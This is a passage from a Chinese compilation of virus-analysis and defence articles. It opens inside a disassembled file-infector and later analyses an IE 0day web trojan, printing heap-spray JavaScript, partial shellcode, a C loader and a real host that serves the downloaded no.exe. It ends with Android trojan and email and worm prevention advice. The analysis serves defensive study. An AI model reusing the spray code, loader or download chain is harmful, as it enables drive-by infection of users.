DS:[EDI+2EA2] 00412D3E 52 PUSH EDX 00412D3F 53 PUSH EBX 00412D40 FF97 892A0000 CALL DWORD PTR DS:[EDI+2A89] \\\\SetFilePointer 00412D46 83F8 00 CMP EAX,0 00412D49 61 POPAD 00412D4A 0F84 9A010000 JE CLSPACK.00412EEA 00412D50 60 PUSHAD 00412D51 6A 00 PUSH 0 00412D53 8D87 9C2E0000 LEA EAX,DWORD PTR DS:[EDI+2E9C] 00412D59 50 PUSH EAX 00412D5A B8 04020000 MOV EAX,204 00412D5F 50 PUSH EAX 00412D60 8D87 A62E0000 LEA EAX,DWORD PTR DS:[EDI+2EA6] 00412D66 50 PUSH EAX 00412D67 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88] 00412D6D 53 PUSH EBX 00412D6E FF97 9D2A0000 CALL DWORD PTR DS:[EDI+2A9D] \\\\ReadFileA 00412D74 83F8 00 CMP EAX,0 00412D77 61 POPAD 00412D78 0F84 6C010000 JE CLSPACK.00412EEA 00412D7E 83BF A6300000 00 CMP DWORD PTR DS:[EDI+30A6],0 00412D85 75 0A JNZ SHORT CLSPACK.00412D91 00412D87 C787 A6300000 6A>MOV DWORD PTR DS:[EDI+30A6],23EDA56A 00412D91 60 PUSHAD 00412D92 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88] 00412D98 6A 00 PUSH 0 00412D9A 6A 00 PUSH 0 00412D9C 8B97 A22E0000 MOV EDX,DWORD PTR DS:[EDI+2EA2] 00412DA2 52 PUSH EDX 00412DA3 53 PUSH EBX 00412DA4 FF97 892A0000 CALL DWORD PTR DS:[EDI+2A89] \\\\SetFilePointer 00412DAA 83F8 00 CMP EAX,0 00412DAD 61 POPAD 00412DAE 0F84 36010000 JE CLSPACK.00412EEA 00412DB4 60 PUSHAD 00412DB5 6A 00 PUSH 0 00412DB7 8D87 9C2E0000 LEA EAX,DWORD PTR DS:[EDI+2E9C] 00412DBD 50 PUSH EAX 00412DBE B8 00020000 MOV EAX,200 00412DC3 50 PUSH EAX 00412DC4 8D87 4E3F0000 LEA EAX,DWORD PTR DS:[EDI+3F4E] 00412DCA 50 PUSH EAX 00412DCB 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88] 00412DD1 53 PUSH EBX 00412DD2 FF97 7D2A0000 CALL DWORD PTR DS:[EDI+2A7D] \\\\WriteFileA 00412DD8 83F8 00 CMP EAX,0 00412DDB 61 POPAD 00412DDC 0F84 08010000 JE CLSPACK.00412EEA 00412DE2 E8 F5030000 CALL CLSPACK.004131DC \\\\Xor [ESI],EAX len=1FCH 00412DE7 E8 21050000 CALL CLSPACK.0041330D \\\\ROR EAX,10H len=BF5H 00412DEC E8 3B050000 CALL CLSPACK.0041332C \\\\这里是五层加密的地方 00412DF1 E8 F9040000 CALL CLSPACK.004132EF 00412DF6 E8 C3040000 CALL CLSPACK.004132BE \\\\跟前面的五次解密顺序相反 00412DFB 60 PUSHAD 00412DFC E8 92030000 CALL CLSPACK.00413193 00412E01 61 POPAD 00412E02 60 PUSHAD 00412E03 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88] 00412E09 6A 00 PUSH 0 00412E0B 6A 00 PUSH 0 00412E0D 52 PUSH EDX 00412E0E 53 PUSH EBX 00412E0F FF97 892A0000 CALL DWORD PTR DS:[EDI+2A89] 00412E15 83F8 00 CMP EAX,0 00412E18 61 POPAD 00412E19 0F84 CB000000 JE CLSPACK.00412EEA 00412E1F 60 PUSHAD 00412E20 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88] 00412E26 6A 00 PUSH 0 00412E28 8D87 9C2E0000 LEA EAX,DWORD PTR DS:[EDI+2E9C] 00412E2E 50 PUSH EAX 00412E2F 51 PUSH ECX 00412E30 8D87 4E3F0000 LEA EAX,DWORD PTR DS:[EDI+3F4E] 00412E36 50 PUSH EAX 00412E37 53 PUSH EBX 00412E38 FF97 7D2A0000 CALL DWORD PTR DS:[EDI+2A7D] 00412E3E 83F8 00 CMP EAX,0 00412E41 61 POPAD 00412E42 0F84 A2000000 JE CLSPACK.00412EEA 00412E48 60 PUSHAD 00412E49 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88] 00412E4F 6A 00 PUSH 0 00412E51 6A 00 PUSH 0 00412E53 FFB7 902E0000 PUSH DWORD PTR DS:[EDI+2E90] 00412E59 53 PUSH EBX 00412E5A FF97 892A0000 CALL DWORD PTR DS:[EDI+2A89] 00412E60 83F8 00 CMP EAX,0 00412E63 61 POPAD 00412E64 0F84 80000000 JE CLSPACK.00412EEA 00412E6A 60 PUSHAD 00412E6B 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88] 00412E71 6A 00 PUSH 0 00412E73 8D87 9C2E0000 LEA EAX,DWORD PTR DS:[EDI+2E9C] 00412E79 , ; 50 PUSH EAX 00412E7A 68 00040000 PUSH 400 00412E7F 8D87 4A310000 LEA EAX,DWORD PTR DS:[EDI+314A] 00412E85 50 PUSH EAX 00412E86 53 PUSH EBX 00412E87 FF97 7D2A0000 CALL DWORD PTR DS:[EDI+2A7D] 00412E8D 83F8 00 CMP EAX,0 00412E90 61 POPAD 00412E91 74 57 JE SHORT CLSPACK.00412EEA 00412E93 60 PUSHAD 00412E94 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88] 00412E9A 6A 00 PUSH 0 00412E9C 6A 00 PUSH 0 00412E9E FFB7 8C2E0000 PUSH DWORD PTR DS:[EDI+2E8C] 00412EA4 53 PUSH EBX 00412EA5 FF97 892A0000 CALL DWORD PTR DS:[EDI+2A89] 00412EAB 83F8 00 CMP EAX,0 00412EAE 61 POPAD 00412EAF 74 39 JE SHORT CLSPACK.00412EEA 00412EB1 E8 0A050000 CALL CLSPACK.004133C0 00412EB6 E8 D20C0000 CALL CLSPACK.00413B8D 00412EBB E8 35030000 CALL CLSPACK.004131F5 00412EC0 60 PUSHAD 00412EC1 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88] 00412EC7 6A 00 PUSH 0 00412EC9 8D87 9C2E0000 LEA EAX,DWORD PTR DS:[EDI+2E9C] 00412ECF 50 PUSH EAX 00412ED0 FFB7 AE300000 PUSH DWORD PTR DS:[EDI+30AE] 00412ED6 8D87 4A310000 LEA EAX,DWORD PTR DS:[EDI+314A] 00412EDC 50 PUSH EAX 00412EDD 53 PUSH EBX 00412EDE FF97 7D2A0000 CALL DWORD PTR DS:[EDI+2A7D] 00412EE4 83F8 00 CMP EAX,0 00412EE7 61 POPAD 00412EE8 74 00 JE SHORT CLSPACK.00412EEA 00412EEA 8B87 B8290000 MOV EAX,DWORD PTR DS:[EDI+29B8] 00412EF0 83E8 2C SUB EAX,2C 00412EF3 83C0 14 ADD EAX,14 00412EF6 50 PUSH EAX 00412EF7 8B87 B8290000 MOV EAX,DWORD PTR DS:[EDI+29B8] 00412EFD 83E8 2C SUB EAX,2C 00412F00 83C0 0C ADD EAX,0C 00412F03 50 PUSH EAX 00412F04 8B87 B8290000 MOV EAX,DWORD PTR DS:[EDI+29B8] 00412F0A 83E8 2C SUB EAX,2C 00412F0D 83C0 04 ADD EAX,4 00412F10 50 PUSH EAX 00412F11 FFB7 882E0000 PUSH DWORD PTR DS:[EDI+2E88] 00412F17 FF97 B52A0000 CALL DWORD PTR DS:[EDI+2AB5] 00412F1D FFB7 882E0000 PUSH DWORD PTR DS:[EDI+2E88] 00412F23 FF97 792A0000 CALL DWORD PTR DS:[EDI+2A79] \\\\SetFileTime 恢复文件时间,防止被发现 00412F29 81BF 412B0000 88>CMP DWORD PTR DS:[EDI+2B41],88888888 00412F33 74 17 JE SHORT CLSPACK.00412F4C 00412F35 81BF 4D2B0000 CC>CMP DWORD PTR DS:[EDI+2B4D],CCCCCCCC 00412F3F 74 0B JE SHORT CLSPACK.00412F4C 00412F41 68 00100000 PUSH 1000 00412F46 FF97 A92A0000 CALL DWORD PTR DS:[EDI+2AA9] \\\\Sleep 00412F4C FFB7 842E0000 PUSH DWORD PTR DS:[EDI+2E84] 00412F52 FFB7 B4290000 PUSH DWORD PTR DS:[EDI+29B4] 00412F58 FF97 A12A0000 CALL DWORD PTR DS:[EDI+2AA1] \\\\SetFileAttrubutes 恢复文件属性 00412F5E 5E POP ESI 00412F5F C3 RETN 12.则解密原宿主程序代码(总共200字节), 恢复原AddressOfEntryPoint,执行原程序.
篇2:病毒分析报告病毒防范
以前做病毒分析时整理的一个比较简单的报告模板,仅参考:
#
# by:∮明天去要饭
# yaofan.me
#
+——————————————————–+
+ 样本个数: x 个 +
+ 提交日期: 200X-XX-XX +
+ 样本提交: XXX +
+——————————————————–+
1. 目录
+ 文件夹
├ xxx1.exe <—– xxx1的说明
├ xxx2.exe <—– xxx2的说明
2. 详细内容
+——————————————————–+
+ 样本编号: 2.1 +
+ 样本名称: xxx.exe +
+ 样本大小: xxx 字节 +
+ 样本MD5 : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +
+——————————————————–+
1. 进程
创建(隐藏)进程:
%SYSTEMROOT%\\system32\\xxx.exe user
2. 文件行为
释放如下文件:
%SYSTEMROOT%\\system32\\xxxadd1.exe
%SYSTEMROOT%\\system32\\xxxadd2.exe
删除如下文件:
%SYSTEMROOT%\\system32\\xxxdel1.exe
%SYSTEMROOT%\\system32\\xxxdel2.exe
感染如下文件:
%SYSTEMROOT%\\system32\\xxxappend1.exe
%SYSTEMROOT%\\system32\\xxxappend2.exe
3. 网络行为
3.1 解析域名
www.xxx.com —–>xxx.xxx.xxx.xxx
3.2 数据交互
访问如下链接:
www.xxx.com/xxx.exe
4. 启动方式4.1 系统服务
显示名称: xxx
服 务 名: xxx
服务描述: xxx
文件路径: %SYSTEMROOT%\\system32\\xxx.exe
启动类型: 自动
4.2 注册表
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
下添加如下项/键:
项/键名: xxx
路径: %SYSTEMROOT%\\system32\\xxxadd1.exe
5. 自我保护
5.1 注入到xxx进程
5.2 自动关闭xxx杀毒软件或防火墙
6. 总结
该样本是/不是恶意软件.
篇3: 病毒是什么?如何防范 病毒?
病毒疯狂传播 敲诈者被悬赏300万
5月4日, 病毒疯传,CTB-Locker敲诈者被悬赏300万,
病毒是什么?如何防范 病毒?
。近日,一种名为 CTB-Locker的 病毒疯狂传播,专宰有钱人,如果电脑中了毒则需要付赎金才能重新解密使用。目前已经确定制造 病毒的CTB-Locker敲诈者是俄罗斯 ,被美国悬赏300万美元,这是有史以来最高的 悬赏案。
据悉, 病毒的敲诈者是木马家族的作者,名叫艾维盖尼耶・米哈伊洛维奇・波格契夫。此人从开始就面临多项指控,光是这次的 病毒就有12个国家超过一百万计算机感染,造成损失超过1亿美元。
知识就是力量,这话说得不错,但是力量又好又坏,靠技术来绑架电脑敲诈别人的 迟早要面临法律的制裁,卿本佳人,奈何做贼。
如何防范 挖矿木马?
一、安装杀病毒软件更新病毒库
1 在电脑上安装反病毒软件,及时更新最新的病毒库文件,
打开反病毒软件,点击软件上的立即升级。
2 当更新完成后,可能需要我们重新启动来生效。
二、预防网上热门的视频文件
1 现在的病毒木马都喜欢伪装成当下最流行的一些视频。所以当我们在上网观看或者下载视频时就需要留意当前下载的视频文件是否安全了。一般的视频文件应该都是上百兆的,如果遇到一些容量比很小的以影视名称命名的文件,就应该引起格外注意了。
2 上网时不要随意打开一些不知名的网站。比如在群里看到别人发出的网址链接,不要轻易点击。
3 尽量去正规大型的可信度高的网站,这样可以使得我们的上网安全得到保证。
篇4:Ie0dayCVE0806网马分析病毒防范
【作者】:泉哥(riusksk.blogbus.com)
分析工具:
MDecoder 0.66
EditPlus 3.01
FreShow
VC 6.0
OllyDbg 1.10
样本来源:
网站(安徽新闻网)被 植入木马 log.mtian.net/?p=115
分析结果:
Log By Mdecoder
[root]www.ah.chinanews.com.cn/GuestBook/Images/con.wtxlj871/wenda./lpt9.mqhna976.asp(长安汽车这支股票怎么样?以后怎么样?--股票--)
[exp]1029a9.3322.org:225/yy2/(Exploit.Ie0dayCVE0806.a)
[script]1029a9.3322.org:225/yy2/mj.js
[virus]231ad.3322.org:225/yy2/no.exe
[exp]1029a9.3322.org:225/yy2/(Exploit.Ie0dayCVE0806.a)
[exp]1029a9.3322.org:225/yy2/(Exploit.Ie0dayCVE0806.a)
[script]js.160ads.com/i.js
[script]js.160ads.com/+s(sr)+
[iframe]js.160ads.com/+s(sr)+
代码分析:
挂马方式:
Exploit代码分析:
Index.htm:
//设置隐藏按钮
//挂上恶意脚本1029a9.3322.org:225/yy2/mj.js
mj.js:
function auc2{
a3=new Array(); //创建一数组对象array,而这些动态申请到的对象/变量都会被分配到堆中
var a5=0x86000-(a4.length*2); // 536KB减去shellcode字节数,主要用于计算每一喷射块除shellcode之外还需要多少字节需要用nop填充
var LFlwBa=unescape('%u0c0c%u0c0c');
while(LFlwBa.length
LFlwBa+=LFlwBa; //将每一喷射块中除shellcode外均用0c0c0c0c填充
};
var a6=LFlwBa.substring(0,a5/2);
delete LFlwBa;
for(i=0;i<270;i++){
a3[i]=a6+a6+a4; ////用一连串包括shellcode的喷射块去填充内存以实现heap spary
}
}
Shellcode 分析
先将shellcode部分去除连接符“+”,然后用FreShow执行ESC解码:
\\x58\\x58\\x58\\x58\\xEB\\x10\\x5B\\x4B\\x33\\xC9\\x66\\xB9\\xB8\\x03\\x80\\x34\\x0B\\xBD\\xE2\\xFA\\xEB\\x05\\xE8\\xEB\\xFF\\xFF\\xFF\\x54\\xd9\\x93\\x8e\\x8e\\x8f\\x8f\\x93\\xd2\\xcf\\xda\\x87\\x8f\\x92\\xd3\\xd2\\x93\\xd8\\xc5\\xd8\\xbd\\xbd\\xbd\\xEA……省略部分内容……\\xEA\\xEA\\xEA\\xEA\\xEA\\xEA\\xEA
用VC编写以下代码:
int main()
{
char shellcode[]=“\\x58\\x58\\x58\\x58\\xEB\\x10\\x5B\\x4B\\x33\\xC9\\x66\\xB9\\xB8\\x03\\x80\\x34\\x0B\\xBD\\xE2\\xFA\\xEB\\x05\\xE8\\xEB\\xFF\\ \\xBC\\xE4\\x55\\xF2\\xBF\\xBD\\xBD\\x5F\\x44\\x3C\\x51\\xBD\\xBC\\xBD\\xBD\\x36\\x61……省略部分内容……\\xBD\\xBD\\xD7\\xBD\\xD7\\xA7\\x8c\\xdc\\xd9\\x93\\x8e\\x8e\\x8f\\x8f\\x93\\xd2\\xcf\\xda\\x87\\x8f\\x8f\\x88\\x92\\xc4\\xc4\\x8f\\x92\\xd3\\xd2\\x93\\xd8\\xc5\\xd8\\xbd\\xbd\\xbd\\xEA\\xEA\\xEA\\xEA\\xEA\\xEA\\xEA\\xEA”;
__asm{
lea eax,shellcode
push eax
ret
}
return 0;
}
用VC编译成程序,然后用OD加载逆向分析,F8到shellcode后来到:
0012FBAC 58 POP EAX
0012FBAD 58 POP EAX
0012FBAE 58 POP EAX
0012FBAF 58 POP EAX
0012FBB0 EB 10 JMP SHORT 0012FBC2
0012FBB2 5B POP EBX
0012FBB3 4B DEC EBX
0012FBB4 33C9 XOR ECX,ECX
0012FBB6 66:B9 B803 MOV CX,3B8
0012FBBA 80340B BD XOR BYTE PTR DS:[EBX+ECX],0BD ; 循环异或解密后面的关键代码
0012FBBE ^ E2 FA LOOPD SHORT 0012FBBA
0012FBC0 EB 05 JMP SHORT 0012FBC7
0012FBC2 E8 EBFFFFFF CALL 0012FBB2 ; 必须F7跟进,否则结束进程
0012FBC7 E9 1E030000 JMP 0012FEEA ;无实际操作意义,相当于花指令,同时具有反调试作用,遇到call须单步跟进
0012FBCC 5F POP EDI
0012FBCD 64:A1 30000000 MOV EAX,DWORD PTR FS:[30] ; PEB结构
0012FBD3 8B40 0C MOV EAX,DWORD PTR DS:[EAX+C] ; PEB_LDR_DATA结构
0012FBD6 8B70 1C MOV ESI,DWORD PTR DS:[EAX+1C] ; InInitializationOrderModuleList
0012FBD9 AD LODS DWORD PTR DS:[ESI] ; 指向kernel32.dll模块
0012FBDA 8B68 08 MOV EBP,DWORD PTR DS:[EAX+8] ; kernel32基址
0012FBDD 8BF7 MOV ESI,EDI
0012FBDF 6A 11 PUSH 11
0012FBE1 59 POP ECX ; ecx=0x11,相当于要循环获取17个函数地址
0012FBE2 E8 BE00 CALL <_GetFunAddr> ; 获取函数地址,跟进此函数
{
0012FEA5 > 51 PUSH ECX
0012FEA6 56 PUSH ESI
0012FEA7 8B75 3C MOV ESI,DWORD PTR SS:[EBP+3C] ; PE头
0012FEAA 8B742E 78 MOV ESI,DWORD PTR DS:[ESI+EBP+78] ; 输出表RVA
0012FEAE 03F5 ADD ESI,EBP ; 输出表绝对地址
0012FEB0 56 PUSH ESI
0012FEB1 8B76 20 MOV ESI,DWORD PTR DS:[ESI+20] ; 函数名称表RVA
0012FEB4 03F5 ADD ESI,EBP ; 函数名称表绝对地址
0012FEB6 33C9 XOR ECX,ECX ; 计数器
0012FEB8 49 DEC ECX
0012FEB9 41 INC ECX ; 递增计数器,用于寻找下个函数名
0012FEBA AD LODS DWORD PTR DS:[ESI] ; 第一个函数名RVA
0012FEBB 03C5 ADD EAX,EBP ; 第一个函数名的绝对地址
0012FEBD 33DB XOR EBX,EBX
0012FEBF 0FBE10 MOVSX EDX,BYTE PTR DS:[EAX] ; 循环获取函数名的各个字符,直至遇到回车符0x0D
0012FEC2 3AD6 CMP DL,DH
0012FEC4 74 08 JE SHORT 0012FECE
0012FEC6 C1CB 07 ROR EBX,7 ; 对函数名进行hash运算,以简便后面函数搜索的过程
0012FEC9 03DA ADD EBX,EDX
0012FECB 40 INC EAX
0012FECC ^ EB F1 JMP SHORT 0012FEBF
0012FECE 3B1F CMP EBX,DWORD PTR DS:[EDI] ; 寻找匹配的函数名的hash值
0012FED0 ^ 75 E7 JNZ SHORT 0012FEB9
0012FED2 5E POP ESI
0012FED3 8B5E 24 MOV EBX,DWORD PTR DS:[ESI+24] ; 函数序号表RVA
0012FED6 03DD ADD EBX,EBP ; 函数序号表绝对地址
0012FED8 66:8B0C4B MOV CX,WORD PTR DS:[EBX+ECX*2] ; 寻找当前匹配函数的序号值
0012FEDC 8B5E 1C MOV EBX,DWORD PTR DS:[ESI+1C] ; 函数地址表RVA
0012FEDF 03DD ADD EBX,EBP ; 函数地址表绝对地址
0012FEE1 8B048B MOV EAX,DWORD PTR DS:[EBX+ECX*4] ; 获取当前匹配函数的RVA
0012FEE4 03C5 ADD EAX,EBP ; 当前匹配函数的绝对地址
0012FEE6 AB STOS DWORD PTR ES:[EDI] ; edi=函数地址
0012FEE7 5E POP ESI
0012FEE8 59 POP ECX
0012FEE9 C3 RETN
}
0012FBE7 90 NOP
0012FBE8 ^ E2 F8 LOOPD SHORT 0012FBE2 ; 循环获取以下函数的地址:GetModuleHandleA、GetTempPathA、CreateProcessInternalA、LoadLibraryA、GetProcAddress、ExitProcess、GetCurrentThreadId、Sleep、VirtualProtect、CreateFileA、GetFileSize、CreateFileMappingA、WriteFile、CloseHandle、SetFilePointer、MapViewOfFile、UnmapViewOfFile
0012FBEA 68 33320000 PUSH 3233
0012FBEF 68 55736572 PUSH 72657355 ; “User32”
0012FBF4 54 PUSH ESP
0012FBF5 8B46 0C MOV EAX,DWORD PTR DS:[ESI+C] ; kernel32.LoadLibraryA
0012FBF8 E8 BE010000 CALL <_CallEAX> ; 调用eax
0012FBFD 8BE8 MOV EBP,EAX
0012FBFF 6A 05 PUSH 5
0012FC01 59 POP ECX ; ecx=0x5,计数器
0012FC02 E8 9E020000 CALL <_GetFunAddr> ; 循环获取以下函数地址:EnumWindows、GetClassNameA、GetWindowThreadProcessId、DestroyWindow、MessageBeep
0012FC07 ^ E2 F9 LOOPD SHORT 0012FC02
0012FC09 68 6F6E0000 PUSH 6E6F
0012FC0E 68 75726C6D PUSH 6D6C7275 ; “urlmon”
0012FC13 54 PUSH ESP
0012FC14 FF16 CALL DWORD PTR DS:[ESI]
0012FC16 85C0 TEST EAX,EAX
0012FC18 75 13 JNZ SHORT 0012FC2D
0012FC1A 68 6F6E0000 PUSH 6E6F
0012FC1F 68 75726C6D PUSH 6D6C7275 ; “urlmon”
0012FC24 54 PUSH ESP
0012FC25 8B46 0C MOV EAX,DWORD PTR DS:[ESI+C] ; kernel32.LoadLibraryA
0012FC28 E8 8E010000 CALL <_CallEAX>
0012FC2D 8BE8 MOV EBP,EAX
0012FC2F 6A 01 PUSH 1
0012FC31 59 POP ECX
0012FC32 E8 6E020000 CALL <_GetFunAddr> ; 获取URLDownloadToFileA 函数地址
0012FC37 ^ E2 F9 LOOPD SHORT 0012FC32
0012FC39 68 6C333200 PUSH 32336C
0012FC3E 68 7368656C PUSH 6C656873 ; “shell32”
0012FC43 54 PUSH ESP
0012FC44 8B46 0C MOV EAX,DWORD PTR DS:[ESI+C] ; kernel32.LoadLibraryA
0012FC47 E8 6F010000 CALL <_CallEAX>
0012FC4C 8BE8 MOV EBP,EAX
0012FC4E 6A 01 PUSH 1
0012FC50 59 POP ECX
0012FC51 E8 4F020000 CALL <_GetFunAddr> ; 获取SHGetSpecialFolderPathA 地址
0012FC56 ^ E2 F9 LOOPD SHORT 0012FC51
0012FC58 81EC 00010000 SUB ESP,100
0012FC5E 8BDC MOV EBX,ESP
0012FC60 81C3 80000000 ADD EBX,80
0012FC66 6A 00 PUSH 0
0012FC68 6A 1A PUSH 1A
0012FC6A 53 PUSH EBX
0012FC6B 6A 00 PUSH 0
0012FC6D FF56 5C CALL DWORD PTR DS:[ESI+5C] ; shell32.SHGetSpecialFolderPathA,获取路径C:\\Documents and Settings\\当前用户名\\Application Data
0012FC70 33C0 XOR EAX,EAX
0012FC72 40 INC EAX
0012FC73 803C03 00 CMP BYTE PTR DS:[EBX+EAX],0 ; 计算路径字符串的长度,并保存在eax中
0012FC77 ^ 75 F9 JNZ SHORT 0012FC72
0012FC79 C70403 5C662E65 MOV DWORD PTR DS:[EBX+EAX],652E665C
0012FC80 C74403 04 78650>MOV DWORD PTR DS:[EBX+EAX+4],6578 ; “\\f.exe”
0012FC88 33C9 XOR ECX,ECX
0012FC8A 51 PUSH ECX
0012FC8B 51 PUSH ECX
0012FC8C 53 PUSH EBX ; C:\\Documents and Settings\\Administrator\\Application Data\\f.exe
0012FC8D 57 PUSH EDI ; ASCII “231ad.3322.org:225/yy2/no.exe”
0012FC8E 51 PUSH ECX
0012FC8F 33C0 XOR EAX,EAX
0012FC91 8B46 58 MOV EAX,DWORD PTR DS:[ESI+58] ; urlmon.URLDownloadToFileA,下载恶意程序
0012FC94 E8 2000 CALL <_CallEAX>
0012FC99 83F8 00 CMP EAX,0
0012FC9C E9 A3000000 JMP 0012FD44
跳转后来到这里:
0012FD44 8BFB MOV EDI,EBX
0012FD46 33C0 XOR EAX,EAX
0012FD48 33DB XOR EBX,EBX
0012FD4A 81EC 00020000 SUB ESP,200
0012FD50 8BCC MOV ECX,ESP
0012FD52 83F8 54 CMP EAX,54
0012FD55 7D 08 JGE SHORT 0012FD5F
0012FD57 891C01 MOV DWORD PTR DS:[ECX+EAX],EBX ; 对[ecx+eax]中的0x50字节空间进行清零操作,以作为参数被后面的函数调用
0012FD5A 83C0 04 ADD EAX,4
0012FD5D ^ EB F3 JMP SHORT 0012FD52
0012FD5F 8BCC MOV ECX,ESP
0012FD61 8BD9 MOV EBX,ECX
0012FD63 83C3 10 ADD EBX,10
0012FD66 33C0 XOR EAX,EAX
0012FD68 50 PUSH EAX
0012FD69 51 PUSH ECX
0012FD6A 53 PUSH EBX
0012FD6B 50 PUSH EAX
0012FD6C 50 PUSH EAX
0012FD6D 50 PUSH EAX
0012FD6E 50 PUSH EAX
0012FD6F 50 PUSH EAX
0012FD70 50 PUSH EAX
0012FD71 57 PUSH EDI ; ASCII “C:\\Documents and Settings\\Administrator\\Application Data\\f.exe”
0012FD72 50 PUSH EAX
0012FD73 50 PUSH EAX
0012FD74 FF56 08 CALL DWORD PTR DS:[ESI+8] ; kernel32.CreateProcessInternalA,执行下载的恶意程序f.exe
篇5:“支付宝大盗”病毒分析病毒防范
近期百度安全实验室发现一款“支付宝大盗”病毒,该病毒通过二次打包嵌入到正常应用中,病毒运行后,自动在后台偷偷上传手机上的所有短信,并且当手机收到新短信时,该病毒会判断短信内容中是否包含“支付宝”、“淘宝”、“taobao”、“银”、“行”、“农信”等关键字,如果包含,该病毒将会屏蔽此类金融支付类短信。
该病毒样本有以下两点需要安全分析人员注意:
1、采用“梆梆加固”加固恶意代码,防止分析人员静态分析和动态调试,
该病毒为了逃避逆向分析和安全厂商病毒检测,通过“梆梆加固”的保护来达到防止逆向分析和动态调试的目的。加固服务提供商需要加强对待加固应用的安全审计,以免被恶意开发者利用。
2、恶意代码+社会工程学配合攻击实现窃取支付宝资金的目的。
病毒分析:
1. 主要行为:
1.1 病毒在AndroidManifest.xml文件注册的恶意组件
1.2 被梆梆加固后的恶意程序代码树结构
在对该恶意样本分析过程中,安全人员发现一个未被调用的“钓鱼”Activity。该Activity通过Webview加载构建的Html页面,诱骗用户输入姓名、身份证号、手机号等敏感信息,当点击“立即认证”后,该页即发送用户输入的真实姓名、手机号码、身份证号等信息到恶意服务器。
篇6:电子邮件病毒及防范
“邮件病毒”其实和普通的电脑病毒一样,只不过由于它们的传播途径主要是通过电子邮件,所以才被称为“邮件病毒”,由于它们一般通过邮件中“附件”夹带的方法进行扩散,由于平时日常工作中电子邮件使用十分频繁,因此预防邮件病毒就显得至关重要,对付邮件病毒是要讲技巧的,现在就让我来告诉大家几招。
1、选择一款可靠的防杀毒软件。应用杀毒软件中的邮件监视功能,在邮件接收过程中对其进行病毒扫描过滤。
2、及时升级病毒库。新病毒层出不穷,反病毒软件厂商一般会根据流行病毒的情况,及时更新病毒库,如果用户不及时升级,就很难对新病毒进行查杀。
3、不要轻易打开陌生人的邮件附件,如果发现邮件中无内容,无附件,邮件自身的大小又有几十K或者更大,那么此邮件中极有可能包含有病毒;如果附件为可执行文件(.exe、.com)或word文档时,要选择用杀毒软件的扫描查毒察看;如果发现收到的邮件对方地址非常陌生,域名对极不像正常的国内邮箱,那就很有可能是收到病毒了;如果是双后缀那么极有可能是病毒,因为邮件病毒会选择隐藏在附件中,直接册除即可,
4、尽量不在“地址薄”中设置联系名单。因为一但被病毒感染,病毒会通过邮件“地址薄”中的联系人来传播。
5、少使用信纸模块。信纸模块都是一些脚本文件,如果模块感染了脚本病毒例如VBS/KJ、欢乐时光等,那用户使用信纸发出去的邮件都带有病毒了。
6、设置邮箱自动过滤功能。这样不仅能够防止垃圾邮件,还可以过滤掉一些带病毒邮件。
7、不使用邮件软件邮箱中的HTML预览功能。当今,一些传播与破坏力比较大的病毒,往往都是通过邮件预览时进行感染,并不需要打开邮件。
篇7:如何防范蠕虫病毒
凡能够引起计算机故障,破坏计算机数据的程序统称为计算机病毒,所以从这个意义上说,蠕虫也是一种病毒!网络蠕虫病毒,作为对互联网危害严重的 一种计算机程序,其破坏力和传染性不容忽视。与传统的病毒不同,蠕虫病毒以计算机为载体,以网络为攻击对象!本文中将蠕虫病毒分为针对企业网络和个人用户2类,并从企业用户和个人用户两个方面探讨蠕虫病毒的特征和一些防范措施!
本文根据蠕虫病毒的发作机制,将其分为利用系统级别漏洞(主动传播)和利用社会工程学(欺骗传播)两种,并从用户角度中将蠕虫病毒分为针对企业网络和个人用户2类,从企业用户和个人用户两个方面探讨蠕虫病毒的特征和一些防范措施!
一、蠕虫病毒的定义
1.蠕虫病毒的定义
计算机病毒自出现之日起,就成为计算机的一个巨大威胁,而当网络迅速发展的时候,蠕虫病毒引起的危害开始显现!从广义上定义,凡能够引起计算机故障,破坏计算机数据的程序统称为计算机病毒。所以从这个意义上说,蠕虫也是一种病毒!但是蠕虫病毒和一般的病毒有着很大的区别。对于蠕虫,现在还没有一个成套的理论体系,一般认为,蠕虫是一种通过网络传播的恶性病毒,它具有病毒的一些共性,如传播性,隐蔽性,破坏性等等,同时具有自己的一些特征,如不利用文件寄生(有的只存在于内存中),对网络造成拒绝服务,以及和 技术相结合等等!在产生的破坏性上,蠕虫病毒也不是普通病毒所能比拟的,网络的发展使得蠕虫可以在短短的时间内蔓延整个网络,造成网络瘫痪!
根据使用者情况可将蠕虫病毒分为2类,一种是面向企业用户和局域网而言,这种病毒利用系统漏洞,主动进行攻击,可以对整个互联网可造成瘫痪性的后果!以“红色代码”,“尼姆达”,以及最新的“sql蠕虫王”为代表。另外一种是针对个人用户的,通过网络(主要是电子邮件,恶意网页形式)迅速传播的蠕虫病毒,以爱虫病毒,求职信病毒为例.在这两类中,第一类具有很大的主动攻击性,而且爆发也有一定的突然性,但相对来说,查杀这种病毒并不是很难,
第二种病毒的传播方式比较复杂和多样,少数利用了微软的应用程序的漏洞,更多的是利用社会工程学对用户进行欺骗和诱使,这样的病毒造成的损失是非常大的,同时也是很难根除的,比如求职信病毒,在就已经被各大杀毒厂商发现,但直到底依然排在病毒危害排行榜的首位就是证明!出得在接下来的内容中,将分别分析这两种病毒的一些特征及防范措施!
2.蠕虫病毒与一般病毒的异同
